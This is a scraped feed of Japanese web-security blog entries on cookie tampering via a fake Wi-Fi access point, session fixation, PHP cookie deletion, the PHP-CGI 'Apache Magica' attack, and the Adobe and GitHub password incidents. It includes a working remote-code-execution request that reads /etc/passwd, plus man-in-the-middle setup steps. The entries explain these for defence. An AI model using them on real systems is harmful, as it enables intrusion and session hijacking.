Quantcast
Channel: 徳丸浩の日記
Viewing all 194 articles
Browse latest View live

HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

$
0
0
寺田さんのブログエントリ「他人のCookieを操作する」には、通信路上の攻撃者がいる場合は、SSLを使っても、Cookieの盗聴を防ぐことはできるが、Cookieの改変を防ぐことはできないと指摘されています。いかにも寺田さんらしい簡にして要を得たエントリで、これに付け加えることはあまりないのですが、残念ながらまだ読んでいない人が多そうだと言うことと、より広い読者に向けて具体的に説明した方がよいだろうと考えました。
そこで、通信路上に攻撃者がいる典型例として、公衆無線LANの偽AP(アクセスポイント)があるケースを題材として、「HTTPSを使ってもCookieの改変は防げない」ことを説明します(Secure属性使うと盗聴は防げますが、改変は防げません)。長いエントリなので結論を先に書いておきます。
  • Secure属性がないCookieはHTTPSでも盗聴できる
  • Cookieの改変についてはSecure属性でも防ぐことはできない

偽APを用意する

まるでハッカージャパンの記事みたいな内容なので、この節は文体もハッカージャパンを真似してみましょう。
ここで紹介する実験は、「偽アクセスポイント」の偽物を作ることである。そのまま悪用可能なので、良い子の皆さんは絶対に悪用しないように。約束だぞ。
偽APの構成を下図に示そう。


(1)無線APの準備
 適当に設定すればよいが、SSIDと事前共有鍵を実在の公衆無線LANと同じにすればだまされやすいだろう。ここではだますことが目的でなく実験なので、そこまではやらない(やるなよ)。無線の暗号化は強固なものにしても問題ない。盗聴・改ざんは有線で行うからだ。むしろ、強固な暗号化を選択した方が、だまされやすくなると思うぞ(だが、やるなよ)。

(2)DHCPサーバーの設定
 DHCP(ルーターの機能を利用しても良いし、解析用PCにDHCPサーバーを立てても良い)の設定で、DHCPサーバーが配信するデフォルトゲートウェイを「解析用PC」のIPアドレスにしておく。これにより、被害者からの通信を解析用PCに誘導する。

(3)解析用PCの設定  解析用PCはデフォルトゲートウェイとして動作するので、Ubuntuの設定で、/etc/sysctl.confを以下のように修正する。
#net.ipv4.ip_forward=1
↓ コメントを取る
net.ipv4.ip_forward=1
この後、PCを再起動する。これで、AP→解析用PC→ルータ→インターネットという通信が可能となる。
この段階で既に、哀れな被害者がこのAPに接続したら、その通信は解析用PCを全て通過するので、Wiresharkを起動すれば、暗号化されていない通信は全てキャプチャされる。以下にYahoo!にリクエストした場合の様子を示そう。


ここで示しているのはリクエストだが、もちろんレスポンスについてもキャプチャできる。すなわち、偽APの利用者の通信は、文字通りだだ漏れになるのだ。しかし、SSL通信については暗号化されているため中身を見ることはできない。

Secure属性のないCookieを盗聴する

さて、ここからが本題です。文体も元に戻します。SSLを使っていても、Cookieを盗聴できる場合があるというお話です。タイトルにつけたように、CookieにSecure属性がないと、盗聴が可能になります。
 まず、よくあるのは、サイト全体はHTTP(平文)だが、個人情報を扱うページのみHTTPSというサイトです。この場合、CookieにSecure属性がないと、平文通信でもCookieが送信されてしまいます。以下、実験で確認しましょう。

 まず、被害者が https://www.city.machida.kanagawa.jp/login.php にアクセスしていて、セッションクッキーが付与されているとしましょう。クッキー情報は下図の通りです。

Secure属性がついていないことに注目してください。
この状態で、前述のAPを利用して http://www.city.machida.kanagawa.jp/ (HTTPSではない)にアクセスすると、以下のリクエストが送信されます。ばっちりCookieが見えていますね。


次に、「うちのサイトは、HTTPSのみで80番ポート閉じているから大丈夫」と言う意見をよく目にしますが、これは誤解です。少し手順は増えますが、Cookieを盗聴することは可能です。
それは、罠をしかけて、 http://www.city.machida.kanagawa.jp:443/ (httpsではなくhttp)にアクセスさせることです。罠の例を以下に示します。利用者(被害者)の通信は全て解析用PCを通過するので、わざわざ罠サイトを作る必要はなく、適当にHTTPレスポンスを改変して以下を突っ込めばよいことになります。
<img src="http://www.city.machida.kanagawa.jp:443/" width="1" height="1">
これによるリクエストは下記となります(デスティネーション443ポートをHTTPとしてデコードするように指定しています)。Cookieを含むHTTPリクエストが平文でキャプチャされています。


【結論】Secure属性のないCookieは盗聴の危険性がある

ということで、秘密情報を含むCookie(セッションIDのCookieを含む)にはSecure属性をつけましょう。

クッキーを強制する

次に、この環境を用いて、Cookieの強制(追加あるいは変更)をしてみましょう。ここまで出てきたツールではCookieの変更はできないので、Burp Suiteを使うことにします。Burp Suiteを透過Proxyとして使用するために以下の2点を設定します。
  • iptablesにより80番ポート宛のパケットをローカルの8080ポートにリダイレクトする
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  • Burp Suiteをinvisibleモードに設定する

これで、偽APを通る80番ポート向けTCPパケットは、全てBurp Suiteを通ることになります。
次に、Burp Suiteの機能で、全てのレスポンスにSet-Cookieヘッダを付与する設定を追加します。


以上で、「偽APを通過した80番ポート宛のHTTPリクエストすると、もれなくPHPSESID=ABCD12345というクッキーが設定される」という罠ができあがりです。
さっそく試してみましょう。罠を使うなどして、偽AP利用者に http://www.city.machida.kanagawa.jp/ を閲覧させます。Burp suiteの画面は下記となります。


確かに、Set-Cookie: PHPSESSID=ABCD12345 というレスポンスヘッダが付与されています。

80番ポートを閉じているサイトの場合のクッキー強制方法

次に、攻撃対象サイトが80番ポートを閉じている場合について検討します。この条件では上記の方法は使えません。その理由は、HTTPレスポンスが帰ってこないので、そのレスポンスにSet-Cookieヘッダを付与することもできないからです(リクエストは飛ぶので、リクエストのCookieヘッダを見ることは可能です)。
しかし、やりたいことはSet-Cookieヘッダを含むHTTPレスポンスを返すだけなのですから、PROXYではなく、Webサーバーを立てて、それにリクエストをリダイレクトすることにしましょう。ということで、今度はApacheの出番です。
$ sudo iptables -t nat -L --line-numbers         ← 現在の状態を確認
Chain PREROUTING (policy ACCEPT)
num target prot opt source destination
1 REDIRECT tcp -- anywhere anywhere tcp dpt:http redir ports 8080
... 省略
$ sudo iptables -t nat -D PREROUTING 1 ← 1番のルールを削除
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dst 133.242.129.62 --dport 80 -j REDIRECT --to-port 80 ← 133.242.129.62:80来たパケットをローカルに
これにより、偽APから IPアドレス133.242.129.62 (偽町田市サイトのIPアドレス)宛のTCPパケットを解析用PC上のapacheにリダイレクトします。
さらに、クッキー設定用のPHPスクリプト(image.php)を解析用PC上に配置します。Base64エンコードされた文字列は、1ピクセル×1ピクセルのGIF画像です。
<?php
header('Content-Type: image/gif');
setcookie('PHPSESSID', 'image.php');
echo base64_decode('R0lGODlhAQABAIgAAP///wAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==');
後は、利用者に罠を仕掛けて、http://www.city.machida.kanagawa.jp/image.php を閲覧させるだけです。このリクエストは、解析用サーバー上のapacheにリダイレクトされて、1x1のGIF画像を表示するとともに、PHPSESSID=image.phpというCookieが、利用者のPCにセットされます。

Cookieの強制はサイト側で防御できない

以上のように、元サイト側で80番ポートを閉じている・いないに関わらず、HTTPSでCookieを利用しているサイトは、中間者攻撃により偽のCookieをセットされてしまうことが分かりました。これは、以下の理由によるものです。
  • Cookieはポートやプロトコル(http/https)をまたがって共有されている
  • Cookieのsecure属性は平文でCookieを送信しないという設定であり、Cookieをセットする(受信する)場合には効果がない
  • 既にsecure属性つきCookieがあっても、HTTPのsecure属性なしCookieで上書きされる(IE10、Google Chrome、Firefoxで確認)

Cookie Monster Bugの影響のないドメイン名でもセッション固定対策はしっかり行おう

ここまで説明したように、HTTPSを利用しているサイト(通信路上の盗聴・改ざんを許容していない)では、外部からCookieを強制されること自体は防御できないので、「Cookieを改変されても構わないようにサイトを設計する」必要があります。これには、以下が重要です。
  • セッション固定脆弱性対策を行う。具体的には、ログイン成功後にセッションIDを振り直す
    session_regenerate_id(true);
  • Cookieには、外部から変更されると困る値は入れない
  • Cookieに攻撃文字列を入れるタイプのXSSの影響を受けるので、攻撃経路がCookieだからという理由で許容してはいけない

緩和策としてHTTP Strict Transport Securityが有効

先ほど、Cookieの強制はWebサイト側で防御することはできないと書きましたが、緩和策としてであれば、HTTP Strict Transport Security (HSTS) が有効です。HSTSとは、特定サイトへの通信をHTTPSに強制する機能です。HSTSを利用するには、HTTPレスポンスヘッダとして下記をブラウザに送信します。includeSubdomainsはサブドメインまで含めてHSTSを強制するというオプションです。
Strict-Transport-Security: max-age=有効期間(秒); includeSubdomains
これを受け取った後は、max-ageで指定した期間、指定サイトにHTTPで接続することはできなくなり、強制的にHTTPSで接続されます。このため、HTTP(平文)でCookieの盗聴や強制も防御されます。PHPでの利用例を下記に示します。
header('Strict-Transport-Security: max-age=2592000; includeSubdomains');  // HSTS30日間有効
HSTSが完全な防御ではなく緩和策である理由は下記の通りです。
  • 対応ブラウザが本稿執筆時点でGoogle Chrome、Firefox、Operaであり、IEとSafariは未サポート
  • 利用者が初めて訪問するサイトや、HSTSの期限切れの状態では効果がない
このため、前述の対策を施した上で、HSTSヘッダを緩和策として実施するとよいでしょう。
一方、従来よく用いられてきたサーバー側でのHTTPSへの強制リダイレクトは効果がありません。この場合は、最初のリクエストはHTTPで送信されますが、Cookieの盗聴・強制には1リクエストあれすば十分だからです。

※追記(2013/9/30 10:15) このエントリ公開時にincludeSubdomainsの指定が抜けておりましたが、これがないと、サブドメイン上のページ(DNSも偽装すれば、存在しないサブドメインでも攻撃できる)でCookieの改変が可能になることを、はせがわようすけさんから指摘いただきました。ありがとうございます。もしも、既にHTTPで稼働しているサブドメインがある場合は、includeSubdomainsは指定できないので、HSTSによる緩和策は有効ではありません。

まとめ

通信路上に攻撃者がいる場合でも、SSLの正しい利用により通信路上でのHTTPメッセージの盗聴・改ざんを防ぐことができますが、Cookieに関して言えば、Secure属性の付与により盗聴は防げるものの、改ざん(強制・改変)については防御できないことを示しました。これにより、セッション固定攻撃の他、Cookieを攻撃経路とするXSS等の攻撃が現実の脅威となります。
結論としては、Cookieを改変できるかどうか(通信路上の攻撃者、Cookie Monster Bug)とは無関係に、Cookieを攻撃経路とする脆弱性は常に対処することを推奨します。また、盗聴防止として、CookieのSecure属性は必ず設定しましょう。



session_regenerate_id関数の第1引数はtrueにすべきか

$
0
0
以前tumblrに書いたエントリ「データベースのデータを信用してはいけないか?」にて、PHP技術者認定試験の想定問題について取り上げましたが、その後、書籍「徹底攻略 PHP5 技術者認定 [上級] 試験問題集 [PJ0-200]対応」が刊行されたことを知り、購入しました。
同試験は、比較セキュリティの配点が高い(12%)ことから、試験問題集にはセキュリティの独立した章として第10章が割り当てられ、セキュリティの問題が21個集められています。

先のエントリで紹介した「ITトレメ PHP技術者認定・初級 過去問題一覧 - @IT自分戦略研究所」の問題を見た時の印象は、問題の癖が強く、独自の用語を使っている箇所が多いことが懸念点でしたので、そのような観点から同書第10章「セキュリティ」の問題を確認したところ、全体的に下記の印象を持ちました。
  • 用語としてIPA等で使われている一般的なもの(例:静的プレースホルダ)が用いられ、妥当と考えられる
  • 対策手法についても、IPA「安全なウェブサイトの作り方」などで説明されている方法を正とし、独自の手法はほとんど見られない
  • 「上級試験」ということで、かなり際どいところを攻めているという印象
ということで、私が懸念した問題は見当たりませんでした。執筆陣の努力を称賛したいと考えます。
しかし、最後に指摘した「際どいところ」に関しては、正誤という点では問題ない(力のある解答者なら正当に到達できる)ものの、微妙なところで議論の余地があるなと感じました。(こちらの「大、小、展、外、誤」参照)。
それは、国語入試問題必勝法的な微妙さであって、明らかに正しい選択肢を載せるとすぐに答えがわかるために、微妙な問題を残すものを正答としているのではないかと勘ぐりたくなりました。
ここでは、その例として、セッション固定化攻撃の対策方法として、session_regenerate_id()関数の使い方に関する問題を取り上げます。

session_regenerate_idの第1引数はどうすべきか

同書P324のセキュリティ問題13には、セッション固定化攻撃の対策として適切なものを2つ選択するように支持していますが、ここではその選択肢CとDに関係する話題です。元の本が問題集なので、引用はせずに要旨のみを示します。
if (認証OKの場合) {
$_SESSION['auth'] = true;
session_regenerate_id( ● );
}
●のところ、片方が空、片方は true となっています。実は「国語入試問題必勝法」的には正答はあきらかで、trueを指定した方が正答です。この関数の第1引数は、元のセッションIDに紐づくセッションを破棄することを指定するもので、過去のセッションを破棄したほうが安全方向に倒れることは明らかです。すなわち、これがセキュリティの問題という前提では、trueを指定しないほうが正答ということは通常ありえないわけで、先に「正誤という点では問題ない」と書いた理由はこれです。
しかし、上記のスクリプトを検討すると、微妙な問題、いや、はっきり言えば正答にもバグがあります。一方で、誤答の方にも実質的な危険性があるわけではありません。

誤答がただちに危険なわけではない

問題文のスクリプトは、まずセッションに「認証状態にある」ことをセットしたあとで、セッションIDの再生成を行っています。このため、問題の趣旨としては、元のセッションIDに対して認証状態がいったんセットされるため、古いセッションを破棄しないとセッション固定化攻撃が成立してしまうとしています。
しかし、このスクリプトを動かしてみると分かりますが、古いセッションを保存するファイルには、認証情報は保存されません。その理由は、session_write_closeが呼ばれていないからです。ファイルに認証情報が保存されていない以上、そのファイルを積極的に破棄する必要もありません。例外として、「ログイン前セッション固定化攻撃」の問題がありますが、これについて別のエントリにしたいと思います。
ということで、誤答(trueを指定しない方)に実質的な危険性があるわけではありません。

正答が模範的なわけではない

一方、正答に問題がないわけではありません。現状のスクリプトでも外部から攻撃できるわけではありませんが、PHPのセッションが仮にsession_write_closeを呼ばなくてもファイルに書き込まれる実装に変更された場合は、一瞬とはいえ元のセッションIDで認証状態になります。これは直ちに、session_regenerate_id関数の第1引数 true により削除されるわけですが、いわゆるレースコンディションの状態となり、第三者にセッションハイジャックされる危険性があります。これらを下表にまとめました。

第1引数falseあるいは指定なしtrue
現状のPHPの実装問題なし問題なし
セッションが直ちにファイルに書き込まれる実装セッションハイジャックされるレースコンディションによりセッションハイジャックされる可能性

本来は、認証確認後に直ちにsession_regenerate_idすべし

前述のように、この問題は現状のPHPの仕様(実装)では誤答・正答とも実質的な問題はありませんが、PHPの仕様が変わると、正答の方がベターな書き方であるものの、ベストではない、ということになります。
では、ベストの書き方はどうかというと、下記のように、session_regenerate_idしてから認証状態をセッションにセットすべきです。
if (認証OKの場合) {
session_regenerate_id( ● );
$_SESSION['auth'] = true;
}
これにより、一瞬たりとも元のセッションIDが認証状態になることはないので安全です。そして、●の部分は、それ以前のセッションをどうすべきかで判断することになります。これはすなわち、「ログイン前セッション固定化攻撃」の対策をどうすべきかということになりますが、こちらは一層ややこしい問題であるので、別稿にて説明します。一般的には true を指定した方が安全ということには、異論ありません。

まとめ

PHP5 技術者認定 [上級] 試験問題集を題材として、session_regenerate_id関数の第1引数について検討しました。これをtrueにすることは、保険的な対策としては有効であると私も考えますが、trueを指定しないために脆弱性となる例を作るのはかなり難しいと考えます。
PHP5 技術者認定 [上級] 試験問題集の第10章13番の問題は、「trueを指定しないために脆弱となる」例を無理に作ろうとしたために、前述したように「際どい」問題になってしまいました。それにより、正答が模範的なスクリプトでないため、この問題集により「正しいPHPアプリの書き方が身につくわけではない」という点も気になったところです。(たぶん続く)

PHPのsetcookie関数で空文字列を設定しようとするとクッキーが削除される

$
0
0
PHPでスクリプトを書いていて、setcookieの第2パラメータ(クッキーの値)の変数をタイプミスしたところ、以下のレスポンスヘッダが送信されていました。

setcookie('A', $misspelled_variable);
↓ 結果
Set-Cookie: A=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT
日付が大昔になっているし、クッキーの値に「deleted」は指定していません。これは、クッキーを削除する時の書き方ですが、PHPでクッキーの削除というと、expiresに過去日付を明示する方法をよく見かけますが、単に第2パラメータを空文字列にすればよかったのか…と思いマニュアルを見たら、一応書いてありました。
http://php.net/manual/ja/function.setcookie.php
陥りやすい失敗
クッキーは設定されたものと同じパラメータで削除する必要があります。 値が空文字列あるいは FALSE で、その他の全ての引数が前に setcookie をコールした時と同じである場合に、指定された名前のクッキーが リモートクライアント上から削除されます。 内部的な動作として、これは値を 'deleted' に変更した上で有効期限を 1 年前に設定しています。
「一応」と保留したのは、マニュアルの本文ではなく「陥りやすい失敗」という項に書いてあったからです。それに、マニュアルには「1年前」とありますが、実際に設定される日付はずっと古い日付です。
そう思って、PHP5.2.6で試したら、以下のように、1年前の日付になります。
Set-Cookie: A=deleted; expires=Sat, 20-Oct-2012 07:17:38 GMT
どこかで仕様変更されたのだろうと思い、バイナリサーチで調べたところ、PHP5.3.6までは「1年前」、PHP5.3.7以降が1970年1月1日に変更されていました。

ソース上で確認すると、ext/standard/head.cのphp_setcookie関数で以下のように修正されていました。
// PHP5.3.6
if (value && value_len == 0) {
time_t t = time(NULL) - 31536001;
dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
efree(dt);
} else {


// PHP5.3.7
if (value && value_len == 0) {
dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, 1, 0 TSRMLS_CC);
snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
efree(dt);
} else {
この変更はChangeLogにも載っていないので変な感じですが、クッキーを削除したい場合はexpiresをできるだけ古い時刻にするという考え方は妥当です。そうしないと、端末の時計が狂っている場合に、クッキーが削除されずに、「PHPSESSID=deleted」という形に設定される危険性が高くなります。これが複数ユーザ存在すると、一種のセッション固定の状態になります。PHP5.5.2以降で導入されたstrict sessionsを設定していれば大丈夫ですが、まだstrict sessionsを設定しているサイトはごくわずかでしょう。

時計をあわせていない利用者の方が悪いという方もいるでしょうが、例えばこちらの事例のように、携帯機器のブラウザが「4年前の日付」になっている例もあるので、1年前くらいでは確かに不安です。「1時間前」の時刻をセットしてクッキーを削除する例をよく見ますが、端末の時計が狂っている前提では、意図に反して脆弱になる可能性があります。

私は「ログアウト時にセッションクッキーを削除する必要はない」という意見を持っています(参考:「ログアウト機能の目的と実現方法」)が、仮に削除するのであれば、端末の時刻が狂っている場合を想定して、削除時のクッキーの値には暗号論的に安全な乱数(openssl_random_pseudo_bytes関数か、/dev/urandomが利用できます)を設定しておくのがよいと思います。そうすれば、万一クッキーが削除されず設定された場合でも、脆弱性にはなりません。

CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました

$
0
0
昨夜に、魔法少女アパッチ☆マギカ攻撃を観測しました。魔法少女アパッチ☆マギカとは、PoCのソースコードに Apache Magica by Kingcopeとコメントされていることに由来しています(というか、私がそう訳しましたw)。
これは10月29日にPoCが発表されたPHP-CGI攻撃(CVE-2012-1823)の変種です。従来のPHP-CGI攻撃は、CGI版PHPが動作する環境で、PHPスクリプト(中身はなんでもよい)に対する攻撃でしたが、魔法少女アパッチマギカの方は、/cgi-bin/に置かれたPHP処理系(php-cgiなど)に直接攻撃するものです。

CGI版PHPを設置する方法は複数ありますが、よく使われる方法としてApacheのリダイレクトによりPHPスクリプトをPHP処理系に実行させる方法があります。この場合、/cgi-bin/php-cgiなどとしてPHP処理系を公開領域に置くため、このphp-cgiを直接リクエストすることを禁止するために、cgi.force_redirect というディレクティブを1に設定します(php.iniに明示的に設定しなくてもデフォルトで可)。
設定ディレクティブ cgi.force_redirect は、 http://my.host/cgi-bin/php/secretdir/script.php のように URL から直接 PHP を呼び出すことを禁止します。 代わりに、 Web サーバーのリダイレクションにより処理された場合は、 PHP はこのモードでのみ処理を行います。 4.2.0 より古いバージョンの PHP では、コンパイル時のオプション --enable-force-cgi-redirect を使えば同じことができます。
http://www.php.net/manual/ja/security.cgi-bin.force-redirect.php
ところが、apache-magika.cに書かれたコメントによると、この設定は外部から無効にできてしまいます。
Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch.
試訳
このセキュリティチェックのコード(注:cgi.force_redirectの確認)に先だって、getopt(注:コマンドライン引数の処理)が呼ばれ、-d スイッチ を使用してcgi.force_redirectとcgi.redirect_status_envをゼロにすることができる。
ということで、cgi.force_redirectは(PHP_INI_SYSTEMであるにも関わらず)コマンドライン経由で外部から変更できるということです。
apache-magika.cはC言語で書かれた、実用性の高い(攻撃にすぐに使える)コードですが、要点は以下のPOSTリクエストです。php-cgiのところは環境に合わせて変更して下さい。赤字にしたところが、魔法少女アパッチマギカの唱える呪文ですw
POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d""+-d+open_basedir%3dnone+-d+auto_prepend_file%3dphp://input+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-n HTTP/1.1
Host: example.jp
Content-Length: 40

<?php system('cat /etc/passwd'); exit();
結果は、下記のように、任意のコードが実行されます。
HTTP/1.1 200 OK
Date: Thu, 31 Oct 2013 22:26:58 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.4.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…省略
影響を受けるPHPのバージョンはCVE-2012-1823と同じですので、新たに脅威が増すということはあまりないはずですが、以下のケースでは攻撃を受ける可能性があります。
  • CVE-2012-1823脆弱性のあるPHPをCGI環境で設定しているが、PHPスクリプトが存在しないので攻撃経路が無いと判断し、対策していないサイト
  • CGI版PHPを設定していないが、/cgi-bin/ディレクトリにCVE-2012-1823脆弱なPHPバイナリがあるケース(これが意外にありそう)
  • その他、CVE-2012-1823に対して本質的でない回避策をとっている場合
ということで、以下を推奨します。

  • 最新版のPHP(本稿執筆十点では、PHP5.3.27、PHP5.4.21、PHP5.5.5)を導入する
  • /cgi-bin/等に使用していないPHP処理系がある場合は削除する

徳丸本のDRMなしPDF版が達人出版会からお買い求めいただけます

$
0
0
昨日から、拙著「体系的に学ぶ安全なWebアプリケーションの作り方」が達人出版会から発売されました。DRMフリーのPDF形式になります。
ということで、紙の本に加え、電子版が5種類販売されることになります。
電子版はいずれも2,800円(税別)で、PDF版はDRMなし、Kindle、Kobo、Google PlayはDRM有りになります。
読者にとって選択肢が広がるということは基本的に良いことと考えていますが、種類が多すぎて迷うという方のために、「迷うようであれば達人出版会のPDFにしておくのがいいよ」とアドバイスいたします。その理由は、
  • DRMなしのPDFというオープンな規格なので将来にわたって資産が毀損される心配がない
  • Kindle、Kobo、Google Playは固定レイアウトであり、PDFに比べてメリットがない
  • bookpub版のPDFには印刷NGという制限があるが、達人出版会版は印刷も可
ということで、制限のないPDFである達人出版会版がおすすめです。検索やコピペもできます。悪用防止のために、各ページの下部に、読者のメールアドレスが薄く表示されます。

皆様のご愛読に感謝いたします。引き続き、拙著をよろしくお願いいたします。

達人出版会版のページ

Adobeサイトから漏えいした暗号化パスワードはなぜ解読されたか

$
0
0
Adobe社のサイトの不正アクセス(参照参照)によって、少なくとも3800万人のIDと暗号化されたパスワードが漏えいしたと言われています。既に報告したように、私のアカウントも漏えいしていました。
その後、『Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用』というニュースが流れてきました。安易なパスワードが使われている統計は今までもあり、「パスワードの実態」に関しては「そんなものだろうな」と思いましたが、問題は、どうやって「暗号化パスワード」を解読したかです。
別の報道では、Adobeサイトがパスワードの暗号化に用いていたアルゴリズムはトリプルDESだったということです。トリプルDESは電子政府推奨暗号リストの今年の改訂でもしぶとく生き残り広く使われている暗号化アルゴリズムです。そんなに簡単に解読されたのでは問題ですが、実際には、「トリプルDESが解読された」わけではないようです(良かったw)。

先の報道および参照元によると、暗号鍵を解析して復号したのではなく、別の方法でパスワードそのものを推測したということです。しかし、方法はともかく、平文パスワードを取得されてしまっては暗号化の意味がありません。そこで、なぜ平文パスワードを解読されてしまったかを調べて見ました。
謎を解く鍵は、以下のコメントにあります。
集計できた理由としてSCGのジェレミ・ゴスニー最高経営責任者(CEO)は、「Adobeがハッシュよりも対称鍵暗号を選び、ECBモードを選択し、全てのパスワードに同じ鍵を使っていたことや、ユーザーが平文で保存していたパスワード推測のヒントがあったおかげ」だと説明している。
Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用より引用
以下、順に説明します。

ECBモードで暗号化されていた

Adobeサイトのパスワードはブロック暗号化モードとしてECBが選択されていたということですが、これを言い換えると、「元のパスワードが同じであれば、暗号化されたパスワードも同じになる」ということです。「当たり前じゃないか」と思う人がいるかもしれませんが、同じパスワードが常に同じ暗号結果になると、平文(元パスワード)推測の大きなヒントになります。
なぜなら、暗号化パスワードの中に、出現数の非常に多いものがあれば、「passwordや123456などよく使われる安易なパスワード」である可能性が高いことになります。仮に暗号文からの解読ができないにしても、元のサイトに対して辞書攻撃を掛ければ、元パスワードが判明する可能性が高くなります。
「アカウントロックで防げないか?」という疑問が生じますが、単純なアカウントロックでは防げません。たとえば、yamada、tanaka、sato…のIDが同じパスワードを使っていることが分かったとして、以下の表のように、IDとパスワードを共に変えながらパスワードを試す攻撃ができます。(今回の解読に使われた方法ではありません)。

IDパスワード
yamdapassword
tanakaqwerty
sato123456
......
※ yamada, tanaka, sato ... は同じパスワードを使っていることが分かっているとする

ここで、sato:123456が認証成功したとすると、satoだけでなく、yamada、tanakaもパスワードが123456であることが分かります。

この問題はハッシュ値でパスワードを保存する場合にも生じます。このため、ハッシュ値でパスワードを保存する場合はソルト(salt)を用いて、同じパスワードでもハッシュ値が別々になるようにするわけてすが、暗号化の場合はソルトではなく、初期化ベクトル(IV)とブロック暗号化モードいうものを用いて、暗号結果がばらばらになるようにします。詳しくは、暗号の参考書をご覧下さい。
以上のように、Adobeサイトのパスワード暗号化の方法には重大な問題があったことになります。

パスワードの「ヒント」が平文保存されていた

Adobeサイトには、過去、パスワードのヒントというものを保存することができたようです。現在のAdobeサイトにはこの機能は削除されていますが、Adobeサイトのヘルプやヘルプのアーカイブをあさると、「パスワードのヒント」という機能があったことが伺えます。


先の記事や参照元を見ると、このヒントは平文でデータベースに保存され、暗号化パスワードとともに漏えいしたようです。そして、ヒントにパスワードそのものを保存していたり、容易にパスワードが推測できる文が書かれていたりしたとのことです。下記は、その例を示すゴスニー氏のツイートです。
「旧社名、アドビでなく、アドビの前、アドビに買収された」というヒントから、パスワードはmacromediaだと推測しています。アドビに買収された会社は他にもありますが、このパスワードをつけている人は54,651人もいて全体の16位ですから、他のユーザのヒントや、「アドビの買収した会社の中でも有名な会社」、パスワードの長さ、などから確定としたのでしょう。暗号化したパスワードは可変長なので、1~7文字、8~15文字という単位(トリプルDESは64ビットブロック暗号なので)でおおよそのパスワード長が分かります。

結局パスワードの保存はどうすればよいか

Adobeサイトのパスワード保存方法の問題点(推測)について説明しました。現在パスワードの保存方法のベストプラクティスはソルト付きハッシュ + ストレッチングということになっいるので、それに従うのが無難かと思います。PHPの場合は、PHP5.5から password_hash という便利な関数が追加されたので、これでパスワードを保存するのがよいでしょう。同じ仕様の関数がpassword_compatライブラリ(PHP5.3.7以降)として公開されていますので、PHP5.5未満のPHPからも利用できます。

まとめ

  • AdobeサイトのパスワードはトリプルDESで暗号化されていたが、実装の不備により平文パスワードが推測されてしまった
    • 初期化ベクトルを使わないために同一パスワードが同一暗号文となる
    • パスワードのヒントが暗号化されずに保存されていた
    • そもそもパスワードのヒントという仕様がよくない(現在は削除されている)
  • パスワードの保存にはソルト付きハッシュ + ストレッチングを使おう
  • 暗号化の際は、適切なブロック暗号化モードと初期化ベクトルを用いること

参考:

GitHubに大規模な不正ログイン試行

$
0
0
GitHubのブログおよび国内の報道によると、GitHubに対して大規模な不正ログインが試みられたようです。
GitHubは米国時間の2013年11月19日、ブルートフォース攻撃を受けたことを明らかにした。攻撃の時期や被害を受けたアカウント数は公にしていないが、今回の攻撃を踏まえ、より強固なパスワードや二要素認証などを利用するようユーザーに呼び掛けている。
GitHubにブルートフォース攻撃、一部のパスワードが破られるより引用
私もGitHubアカウントがありますのでSecurity Historyページを確認したところ、不正ログインの試行が確認されました。IPアドレスは、ベネズエラ、タイ、ブラジルのものです。


GitHubアカウントをお持ちの方は、念のためSecurity Historyを確認することを推奨します。
今回の不正ログインの特徴は以下のようなものです。
  • 少数の「弱いパスワード」に対する試行と思われる
  • 1アカウントに対して、時間をおいて少しずつ試行する「ゆっくりした攻撃」
  • 4万のIPアドレスからの分散攻撃
  • 攻撃のパターンからはパスワードリスト攻撃ではないと思われる
私は以前、このブログにて以下のように書きました。
「辞書」のサイズはさまざまでしょうが、数十から数千くらいと推測されます。ペネトレーション検査等では数千以上の「大きな辞書」を使いますが、実際の攻撃では、1つのIDでちょっと試して、だめだったら次のIDで試した方が効率的のような気がします(攻撃対象が誰でも良い場合)
パスワード攻撃に対抗するWebサイト側セキュリティ強化策より引用
上記の「小さな辞書の方が効率的」と書いたことが現実に行われたと考えます。攻撃対象が誰でもよいと思う理由の1つは、私自身のGitHubリポジトリには価値あるソースコードがない、ということです。
となると、犯人の動機が気になるところですが、
  • GitHubにホストされたソースにマルウェアを注入したかった(ソフトウェアは何でもよかった)
  • GitHubのOAuthでログインできるサイトの不正利用
  • その他
などが考えられます。

この種の攻撃へのサイト側の対策は容易ではありません。攻撃者は、既存のセキュリティ施策をかいくぐるように攻撃をしています。
  • アカウントロックを避けるために1アカウントあたり少ない試行で留める
  • IPアドレスを4万に分散させ、IPアドレス単位のロックや監視をくぐり抜ける
  • 試行を「ゆっくり」行うことにより、試行回数によるロックや監視をかいくぐる
一方で、「小さな辞書」を用いると言うことは、123456やpasswordなどの「安易なパスワード」を避けるだけで対策できると考えられます。現在のGitHubには既に、パスワードの辞書チェック機能が実装されています。以下は、GitHubにてパスワードを「password1」に変更しようとした際の画面です。

「パスワードはハッカーに推測されます」というエラーメッセージが表示され、このパスワードには設定できません。この辞書チェック機能は最近実装されたものでしょう。GitHubは迅速に対処を進めています。同様の辞書チェック機能は、既にtwitter、google、facebookでは実装されています(参照)。

利用者側の対処はシンプルです。以下を推奨します。
  • 推測しにくいパスワードを設定する(必須)
  • 他のサイトで使っていないパスワードを設定する(必須)
  • 二要素認証を有効にする(推奨)
